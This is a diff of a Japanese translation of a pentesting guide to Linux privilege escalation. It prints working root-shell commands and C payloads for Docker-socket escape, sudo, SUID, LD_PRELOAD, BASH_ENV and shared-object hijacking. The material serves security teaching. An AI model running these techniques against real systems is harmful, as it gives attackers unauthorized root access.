権限が必要で、次を実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -467,26 +494,26 @@ Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd ## ソケット -Unix Domain Sockets (UDS) は、クライアント-サーバモデル内で同一または異なるマシン間の**プロセス間通信**を可能にします。これらは標準の Unix ファイルディスクリプタを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 +Unix Domain Sockets (UDS) はクライアント-サーバモデル内で同一または別のマシン間での**プロセス間通信**を可能にします。これらは標準的な Unix ディスクリプタファイルを利用してコンピュータ間の通信を行い、`.socket` ファイルを通じて設定されます。 -ソケットは `.socket` ファイルで構成できます。 +ソケットは `.socket` ファイルを使用して設定できます。 -**Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつか興味深いパラメータを設定できます: +**Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつかの興味深いパラメータを設定できます: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約すると **どこでリッスンするかを示す**(AF_UNIX ソケットファイルのパス、リッスンする IPv4/6 やポート番号など)ためのものです。 -- `Accept`: 真偽値を取ります。`**true**` の場合、**各着信接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。`**false**` の場合、すべてのリスニングソケット自体が **起動された service unit に渡され**、すべての接続に対して単一の service unit が生成されます。この値は datagram ソケットや FIFO では無視され、単一の service unit が一律にすべての着信トラフィックを処理します。**Defaults to false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法でのみ書くことが推奨されます。 -- `ExecStartPre`, `ExecStartPost`: 1 行以上のコマンドラインを取り、リスニング **ソケット**/FIFO が **作成およびバインドされる前** または **後** に実行されます。コマンドラインの最初のトークンは絶対パスでなければならず、その後にプロセスの引数が続きます。 -- `ExecStopPre`, `ExecStopPost`: リスニング **ソケット**/FIFO が **クローズおよび削除される前** または **後** に実行される追加の **コマンド** です。 -- `Service`: 着信トラフィック時に **アクティブ化する** `service` ユニット名を指定します。この設定は Accept=no のソケットでのみ許可されます。デフォルトはソケットと同名(サフィックスを置換)の service です。ほとんどの場合、このオプションを使う必要はありません。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは種類が異なりますが、要約するとソケットがどこでリッスンするか(AF_UNIX ソケットファイルのパス、IPv4/6 および/またはリッスンするポート番号など)を**示す**ために使われます。 +- `Accept`: ブール引数を取ります。`true` の場合、**受信ごとに service インスタンスが生成され**、接続ソケットのみがそのインスタンスに渡されます。`false` の場合、すべてのリスニングソケット自体が**起動された service ユニットに渡され**、すべての接続に対して単一の service ユニットのみが生成されます。この値はデータグラムソケットや FIFO では無視され、これらでは単一の service ユニットが無条件にすべての受信トラフィックを処理します。**デフォルトは false**です。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法で実装することが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、それぞれリスニング **ソケット**/FIFOs が**作成**およびバインドされる前または後に**実行**されます。コマンドラインの最初のトークンは絶対パスのファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リスニング **ソケット**/FIFOs がクローズされ削除される前または後にそれぞれ**実行**される追加の**コマンド**です。 +- `Service`: **incoming traffic** に対して**アクティブ化する** `service` ユニット名を指定します。この設定は `Accept=no` のソケットでのみ許可されます。デフォルトではソケットと同じ名前の service(サフィックスが置き換えられたもの)が使用されます。ほとんどの場合、このオプションを使用する必要はありません。 ### 書き込み可能な .socket ファイル -もし **書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**でき、バックドアはソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があります。**\ -_システムがそのソケットファイルの設定を実際に使用していないと、バックドアは実行されない点に注意してください_ +もし **書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**できます。そうすれば backdoor はソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があるでしょう。**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### 書き込み可能なソケット -もし **書き込み可能なソケットを特定できれば**(ここで言うのは設定ファイルの `.socket` ではなく Unix ソケット自体です)、そのソケットと**通信する**ことができ、脆弱性を利用できる可能性があります。 +もし **書き込み可能なソケット** を識別したら(ここでは設定ファイルの `.socket` ではなく Unix ソケットのことを指します)、そのソケットと**通信**でき、脆弱性を悪用できる可能性があります。 ### Unix ソケットの列挙 ```bash @@ -510,28 +537,28 @@ socket-command-injection.md ### HTTP sockets -一部に**sockets listening for HTTP** requestsがあることに注意してください (_ここで言っているのは .socket ファイルではなく、unix sockets として動作するファイルのことです_)。以下のコマンドで確認できます: +Note that there may be some **sockets listening for HTTP** requests (_.socket files のことではなく、unix sockets として動作するファイルについて話しています_). これを確認するには: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -もしソケットが **HTTP に応答する** リクエストであれば、**通信** が可能になり、場合によっては **脆弱性を exploit** できるかもしれません。 +ソケットが **HTTP リクエストに応答する** 場合、**通信** が可能になり、場合によっては **脆弱性を悪用** できることがあります。 -### 書き込み可能な Docker Socket +### 書き込み可能な Docker ソケット -Docker ソケットは通常 `/var/run/docker.sock` にあり、保護すべき重要なファイルです。デフォルトでは `root` ユーザーおよび `docker` グループのメンバーが書き込み可能です。このソケットへの書き込み権限を持つと privilege escalation を引き起こす可能性があります。以下はその実行方法の内訳と、Docker CLI が利用できない場合の代替手段です。 +Docker ソケット(多くの場合 `/var/run/docker.sock` にあります)は、保護すべき重要なファイルです。デフォルトでは `root` ユーザーと `docker` グループのメンバーが書き込み可能です。このソケットへの書き込み権を持つことは privilege escalation に繋がる可能性があります。以下に、この方法がどのように行われるか、および Docker CLI が利用できない場合の代替手段を示します。 #### **Privilege Escalation with Docker CLI** -もし Docker socket に書き込みアクセスがある場合、以下のコマンドを使って escalate privileges が可能です: +Docker ソケットへの書き込みアクセスがある場合、以下のコマンドを使って privilege escalation が可能です: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -これらのコマンドを使うと、ホストのファイルシステムに対して root レベルのアクセスを持つコンテナを実行できます。 +これらのコマンドは、ホストのファイルシステムに対して root 権限でアクセスできるコンテナを実行することを可能にします。 -#### **Using Docker API Directly** +#### **Docker API を直接使用する場合** -Docker CLI が利用できない場合でも、Docker API と `curl` コマンドを使って Docker ソケットを操作できます。 +Docker CLI が利用できない場合でも、Docker ソケットは Docker API と `curl` コマンドを使って操作できます。 1. **List Docker Images:** 利用可能なイメージの一覧を取得します。 @@ -539,19 +566,19 @@ Docker CLI が利用できない場合でも、Docker API と `curl` コマン curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 +2. **Create a Container:** ホストのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -新しく作成したコンテナを起動します: +作成したコンテナを起動します: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` を使ってコンテナに接続を確立し、コマンドを実行できるようにします。 +3. **Attach to the Container:** `socat` を使ってコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -561,13 +588,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 接続を設定した後、コンテナ内で直接コマンドを実行し、ホストのファイルシステムに対して root 権限でアクセスできます。 +`socat` 接続を設定した後、コンテナ内でホストのファイルシステムに対する root 権限で直接コマンドを実行できます。 -### その他 +### Others -docker グループの中にいる(**inside the group `docker`**)ために docker ソケットへの書き込み権限がある場合、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が利用可能になる点に注意してください。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) ならば、それを悪用できる可能性もあります。 +docker ソケットに対して書き込み権限がある(**group `docker` に属している**)場合は、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が存在することに注意してください。もし [**docker API がポートで待ち受けている** と、そちらを侵害できる可能性もあります](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -docker からの脱出や権限昇格のための悪用方法の詳細は、次を参照してください: +以下で、docker からの脱出や悪用による権限昇格のさらに多くの方法を確認してください: {{#ref}} @@ -576,7 +603,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -もし **`ctr`** コマンドを使用できることが分かった場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**: +もし **`ctr`** コマンドを使用できることが判明した場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**: {{#ref}} @@ -585,7 +612,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -もし **`runc`** コマンドを使用できることが分かった場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**: +もし **`runc`** コマンドを使用できることが判明した場合、以下のページを参照してください。**権限昇格に悪用できる可能性があります**: {{#ref}} @@ -594,15 +621,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus は高度な inter-Process Communication (IPC) system で、アプリケーション間の効率的な相互作用やデータ共有を可能にします。モダンな Linux システムを念頭に設計されており、様々な形のアプリケーション通信に対する堅牢なフレームワークを提供します。 +D-Bus は高度な **inter-Process Communication (IPC) system** で、アプリケーション同士が効率的にやり取りやデータ共有を行えるようにします。モダンな Linux システムを念頭に設計されており、さまざまな形態のアプリケーション間通信に対して堅牢なフレームワークを提供します。 -このシステムは柔軟で、プロセス間のデータ交換を強化する基本的な IPC(いわば **enhanced UNIX domain sockets** に類似)をサポートします。さらに、イベントやシグナルのブロードキャストを助け、システムコンポーネント間のシームレスな統合を促進します。例えば、Bluetooth デーモンからの着信通話に関するシグナルが音楽プレーヤーをミュートさせる、というようなユーザー体験の向上が可能です。加えて、D-Bus はリモートオブジェクトシステムをサポートし、アプリケーション間でのサービス要求やメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 +このシステムは多用途で、プロセス間のデータ交換を強化する基本的な IPC をサポートしており、拡張された UNIX domain sockets に似た役割を果たします。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetooth デーモンからの着信に関するシグナルがミュージックプレーヤーにミュートを促す、などのユーザー体験向上が可能です。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、サービス要求やメソッド呼び出しを簡素化して、従来は複雑だったプロセスを合理化します。 -D-Bus は許可/拒否モデル(allow/deny model)で動作し、ポリシールールの積み重ねに基づいてメッセージの許可(メソッド呼び出し、シグナル送出など)を管理します。これらのポリシーはバスとのやり取りを指定し、許可の誤設定を悪用することで権限昇格につながる可能性があります。 +D-Bus は **allow/deny model** に基づいて動作し、ポリシールールのマッチの累積的効果に基づいてメッセージ権限(メソッド呼び出し、シグナル送出など)を管理します。これらのポリシーはバスとのやり取りを指定し、これらの権限を悪用することで権限昇格が発生する可能性があります。 -例として、/etc/dbus-1/system.d/wpa_supplicant.conf にあるポリシーが示されており、root が fi.w1.wpa_supplicant1 を所有し、そのメッセージを送受信できるようにする権限が記載されています。 +例として、/etc/dbus-1/system.d/wpa_supplicant.conf にあるポリシーが挙げられます。これは root ユーザーが fi.w1.wpa_supplicant1 を所有し、送信し、受信する権限を持つことを詳細に示しています。 -ユーザーやグループが指定されていないポリシーは全員に適用され、一方で "default" コンテキストのポリシーは他の特定のポリシーに含まれない全てのエンティティに適用されます。 +ユーザーやグループが指定されていないポリシーは普遍的に適用され、"default" コンテキストのポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 ```xml @@ -611,7 +638,8 @@ D-Bus は許可/拒否モデル(allow/deny model)で動作し、ポリシー ``` -**ここで D-Bus の通信を enumerate および exploit する方法を学ぶ:** +**ここで D-Bus communication を enumerate と exploit する方法を学んでください:** + {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -619,7 +647,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **ネットワーク** -ネットワークを enumerate して、マシンの位置を把握するのは常に興味深い。 +ネットワークを enumerate してマシンの位置を特定するのはいつも興味深い。 ### 一般的な enumeration ```bash @@ -644,24 +672,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### 開いているポート -アクセスする前にやり取りできなかったマシン上で動作しているネットワークサービスを常に確認してください: +アクセスする前に操作できなかったマシン上で動作しているネットワークサービスは常に確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -トラフィックをsniffできるか確認してください。sniffできれば、いくつかのcredentialsを取得できる可能性があります。 +traffic を sniff できるか確認してください。できれば、いくつかの credentials を取得できる可能性があります。 ``` timeout 1 tcpdump ``` -## ユーザー +## Users -### 一般的な列挙 +### Generic Enumeration -システム上で自分が**who**なのか、どの**privileges**を持っているか、どの**users**が存在するか、どのアカウントが**login**でき、どのアカウントが**root privileges**を持っているかを確認してください: +自分が**who**で、どの**privileges**を持っているか、システムにどの**users**が存在し、どのアカウントが**login**でき、どのアカウントが**root privileges**を持っているかを確認してください: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,14 +711,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### 大きな UID +### Big UID -一部の Linux バージョンは、**UID > INT_MAX** のユーザーが権限昇格できるバグの影響を受けていました。詳細: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)、および [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +一部のLinuxバージョンには、**UID > INT_MAX** のユーザーが権限昇格できてしまうバグが存在しました。詳細: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**悪用するには**: **`systemd-run -t /bin/bash`** ### グループ -root 権限を付与する可能性のあるグループの**メンバーかどうか**を確認する: +root権限を与える可能性のある**あるグループのメンバー**かどうか確認してください: {{#ref}} @@ -699,7 +727,7 @@ interesting-groups-linux-pe/ ### クリップボード -可能であれば、クリップボードに興味深いものが入っていないか確認する +可能であればクリップボードの中に興味深いものがないか確認してください ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -716,27 +744,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード -環境内の任意のアカウントのパスワードを**知っている場合は**、そのパスワードで**各ユーザーとしてログインを試みてください**。 +If you **知っているパスワードがある場合** of the environment **そのパスワードを使って各ユーザーにログインしてみてください**. ### Su Brute -多数のノイズを出すことを気にしない場合、かつ対象のマシンに `su` と `timeout` バイナリが存在する場合は、[su-bruteforce](https://github.com/carlospolop/su-bruteforce) を使ってユーザーをbrute-forceしてみることができます。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーの brute-force も試みます。 +大量のノイズを出すことを気にせず、かつそのコンピュータに `su` と `timeout` バイナリが存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce) を使ってユーザーをブルートフォースすることができます。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザーのブルートフォースも試みます。 -## Writable PATH の悪用 +## 書き込み可能な PATH の悪用 ### $PATH -$PATH のいずれかのフォルダに**書き込みできることが分かった場合**、別のユーザー(理想的には root)が実行するコマンド名で、かつ $PATH 内で**あなたの書き込み可能なフォルダより前にあるフォルダからロードされない**ものの名前を使って、書き込み可能なフォルダ内に**backdoor を作成する**ことで権限昇格できる可能性があります。 +もし $PATH のいずれかのフォルダに**書き込みできる**ことが分かれば、別のユーザー(理想的には root)が実行するコマンド名で、かつあなたの書き込み可能なフォルダより前にあるフォルダから**読み込まれない**ように、書き込み可能なフォルダ内に**バックドアを作成する**ことで権限を昇格できる可能性があります。 ### SUDO and SUID -sudo を使って実行できるコマンドがあるか、または suid bit が設定されているコマンドがあるかもしれません。以下で確認してください: +sudo を使って実行できるコマンドが許可されている場合や、コマンドが suid ビットを持っている場合があります。以下で確認してください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一部の **予期しないコマンドは、ファイルの読み書きやコマンドの実行を可能にします。** 例えば: +一部の **予期しないコマンドは、ファイルの読み取りや書き込み、さらにはコマンドの実行を可能にします。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -747,37 +775,37 @@ less>! ``` ### NOPASSWD -Sudo の設定により、ユーザーがパスワードを知らなくても別のユーザーの権限でコマンドを実行できることがあります。 +Sudoの設定により、ユーザーはパスワードを知らなくても別のユーザーの権限でコマンドを実行できることがある。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例ではユーザー `demo` が `root` として `vim` を実行できます。root directory に ssh key を追加するか、`sh` を呼び出すことで、簡単に shell を取得できます。 +この例ではユーザー `demo` が `root` として `vim` を実行できます。root ディレクトリに ssh key を追加するか、`sh` を呼び出すことでシェルを取得するのは簡単です。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブは、実行中にユーザーが **環境変数を設定する** ことを許可します: +このディレクティブは、何かを実行する際に**環境変数を設定する**ことを許可します: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例は、**HTB machine Admirerに基づく**もので、スクリプトをrootとして実行する際に任意のpythonライブラリをロードするための**PYTHONPATH hijacking**に対して**脆弱でした**: +この例は、**HTB machine Admirer をベースにした**もので、スクリプトが root として実行されている間に任意の python ライブラリを読み込むために **PYTHONPATH hijacking** に**脆弱**でした: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV が sudo env_keep によって保持される → root shell +### BASH_ENV preserved via sudo env_keep → root shell If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- なぜ動作するか: 非対話的なシェルでは Bash が `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを source します。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可します。`BASH_ENV` が sudo によって保持されている場合、あなたのファイルは root privileges で source されます。 +- Why it works: 非対話シェルでは、Bash が `$BASH_ENV` を評価し、ターゲットスクリプトを実行する前にそのファイルを読み込みます。多くの sudo ルールはスクリプトやシェルラッパーの実行を許可します。`BASH_ENV` が sudo によって保持されている場合、あなたのファイルは root 権限で読み込まれます。 -- 要件: -- 実行可能な sudo ルール(非対話的に `/bin/bash` を呼び出すターゲット、または任意の bash スクリプト)。 -- `BASH_ENV` が `env_keep` に含まれていること(`sudo -l` で確認)。 +- Requirements: +- 実行できる sudo ルール(非対話的に `/bin/bash` を呼び出すターゲット、または任意の bash スクリプト)。 +- `BASH_ENV` が `env_keep` に存在すること(`sudo -l` で確認)。 - PoC: ```bash @@ -790,13 +818,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - ハードニング: -- `env_keep` から `BASH_ENV`(および `ENV`)を削除し、`env_reset` を優先する。 -- sudo で許可されたコマンドに対するシェルラッパーは避け、最小限のバイナリを使用する。 -- 保持された環境変数が使用される場合、sudo の I/O ロギングおよびアラートを検討する。 +- `BASH_ENV`(および `ENV`)を `env_keep` から削除し、`env_reset` を推奨。 +- sudo で許可されたコマンドには shell wrappers を避け、最小限のバイナリを使用する。 +- preserved env vars が使われる場合に sudo の I/O ロギングとアラートを検討する。 -### Sudo 実行をバイパスするパス +### Sudo 実行のバイパス経路 -**Jump** 他のファイルを読むか、**symlinks** を使用する。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**ジャンプ**して他のファイルを読む、または **symlinks** を使う。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -806,50 +834,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -もし **wildcard** が使用されている(\*)場合は、さらに簡単です: +もし **wildcard** が使われている場合 (\*), さらに簡単になります: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary コマンドのパスが指定されていない場合 +### Sudo コマンド/SUID バイナリ(コマンドのパスが指定されていない場合) -もし**sudo permission**が単一のコマンドに対してパスを指定せずに付与されている場合: _hacker10 ALL= (root) less_、PATH 変数を変更して悪用できます。 +もし**sudo権限**が単一のコマンドに対して**パスを指定せずに**与えられている場合:_hacker10 ALL= (root) less_、PATH変数を変更することでこれを悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -この手法は、**suid** バイナリがパスを指定せずに別のコマンドを実行する場合にも使用できます(奇妙な SUID バイナリの内容は常に _**strings**_ で確認してください)。 +このテクニックは、**suid** バイナリ **がパスを指定せずに別のコマンドを実行する場合(怪しい SUID バイナリの中身は常に** _**strings**_ **で確認してください)**。 [Payload examples to execute.](payloads-to-execute.md) -### SUID binary がコマンドのパスを指定している場合 +### SUID binary にコマンドのパスがある場合 -もし**suid**バイナリがパスを指定して別のコマンドを実行している場合、suid ファイルが呼び出しているコマンド名で関数を作成し、**export a function** を試すことができます。 +もし**suid** バイナリが**コマンドのパスを指定して別のコマンドを実行している**場合、suid ファイルが呼び出しているコマンド名で関数を作成してそれを**export**してみてください。 -例えば、もし suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出している場合、その関数を作成して export してください: +例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出している場合、そのコマンド名で関数を作成してexportしてみてください: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -その後、suid binary を呼び出すと、この関数が実行されます +その後、suid binary を呼び出すと、この関数が実行されます。 ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 環境変数は、標準の C ライブラリ(`libc.so`)を含む他のすべてのライブラリより前にロードされるように、1つ以上の共有ライブラリ(.so ファイル)をローダーに指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 +環境変数 **LD_PRELOAD** は、標準 C ライブラリ(`libc.so`)を含め、他のすべてのライブラリより前にローダによって読み込まれる1つ以上の共有ライブラリ(.so ファイル)を指定するために使用されます。この処理はライブラリのプリロードとして知られています。 -ただし、特に **suid/sgid** 実行ファイルに対する悪用を防ぎシステムのセキュリティを維持するために、システムはいくつかの条件を強制します: +しかし、この機能が悪用されるのを防ぎ、特に **suid/sgid** 実行ファイルに対してシステムのセキュリティを維持するために、システムはいくつかの条件を課します: -- ローダーは、real user ID (_ruid_) が effective user ID (_euid_) と一致しない実行ファイルに対して **LD_PRELOAD** を無視します。 -- suid/sgid を持つ実行可能ファイルでは、プリロードされるのは標準パスにあり、かつ suid/sgid のライブラリのみです。 +- 実ユーザー ID (_ruid_) が実効ユーザー ID (_euid_) と一致しない実行ファイルに対しては、ローダは **LD_PRELOAD** を無視します。 +- suid/sgid を持つ実行ファイルの場合、プリロードされるのは標準パスにあり、かつ suid/sgid であるライブラリのみです。 -Privilege escalation は、`sudo` でコマンドを実行する権限があり、かつ `sudo -l` の出力に **env_keep+=LD_PRELOAD** が含まれている場合に発生する可能性があります。この設定により、コマンドが `sudo` で実行されても **LD_PRELOAD** 環境変数が保持され認識されるようになり、結果として権限昇格した状態で任意のコードが実行される可能性があります。 +`sudo` でコマンドを実行でき、かつ `sudo -l` の出力に **env_keep+=LD_PRELOAD** が含まれている場合、権限昇格が発生する可能性があります。この設定により、`sudo` 経由でコマンドを実行しても **LD_PRELOAD** 環境変数が保持され認識されるため、任意のコードが昇格した権限で実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` -**/tmp/pe.c** として保存 +次の名前で保存: **/tmp/pe.c** ```c #include #include @@ -862,17 +890,17 @@ setuid(0); system("/bin/bash"); } ``` -次に、**compile it**を使用して: +それから **それをコンパイル** するには: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最後に、**escalate privileges** を実行します +最後に、**escalate privileges** を行う ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 攻撃者が **LD_LIBRARY_PATH** 環境変数を制御できる場合、同様の privesc が悪用される可能性があります。なぜならライブラリが検索されるパスを攻撃者が制御できるからです。 +> 同様の privesc は、攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合に悪用される可能性があります。攻撃者がライブラリの検索パスを制御できるためです。 ```c #include #include @@ -894,13 +922,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -通常とは異なる **SUID** 権限を持つ binary に遭遇した場合、**.so** ファイルを正しく読み込んでいるか確認するのが良い。次のコマンドを実行して確認できます: +通常とは異なる見た目の**SUID**権限を持つバイナリに遭遇した場合、**.so**ファイルを正しく読み込んでいるかどうかを確認するのが良い習慣です。これは次のコマンドを実行して確認できます: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、悪用の可能性を示唆します。 +例えば、エラー _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ に遭遇した場合、exploitation の可能性が示唆されます。 -これを悪用するには、例えば _"/path/to/.config/libcalc.c"_ という C ファイルを作成し、以下のコードを記述します: +これを exploit するには、C ファイル、例えば _"/path/to/.config/libcalc.c"_ を作成し、以下のコードを含めます: ```c #include #include @@ -911,13 +939,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイル権限を操作し、昇格した権限の shell を実行することで権限を昇格させることを目的としています。 +このコードは、コンパイルして実行すると、ファイル権限を操作し、特権を持つシェルを実行することで権限を昇格させることを目的としています。 上記の C ファイルを共有オブジェクト (.so) ファイルにコンパイルするには: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最終的に、影響を受けた SUID バイナリを実行すると exploit がトリガーされ、潜在的に system compromise を引き起こす可能性があります。 +最後に、影響を受けた SUID バイナリを実行すると exploit が発動し、システムの侵害につながる可能性があります。 ## Shared Object Hijacking ```bash @@ -929,7 +957,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -SUID binary が、我々が write できる folder から library を load していることが分かったので、その folder に必要な name の library を作成します: +書き込み可能なフォルダからライブラリを読み込む SUID バイナリを見つけたので、そのフォルダに必要な名前でライブラリを作成しましょう: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -942,7 +970,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -次のようなエラーが発生した場合 +次のようなエラーが表示された場合 ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -950,7 +978,7 @@ that means that the library you have generated need to have a function called `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できる Unix バイナリを厳選したリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに対して **only inject arguments** できるケースに特化した同様のリストです。 +[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. @@ -979,9 +1007,9 @@ In cases where you have **sudo access** but not the password, you can escalate p Requirements to escalate privileges: -- 既に _sampleuser_ としてシェルを持っていること -- _sampleuser_ have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 であること +- You 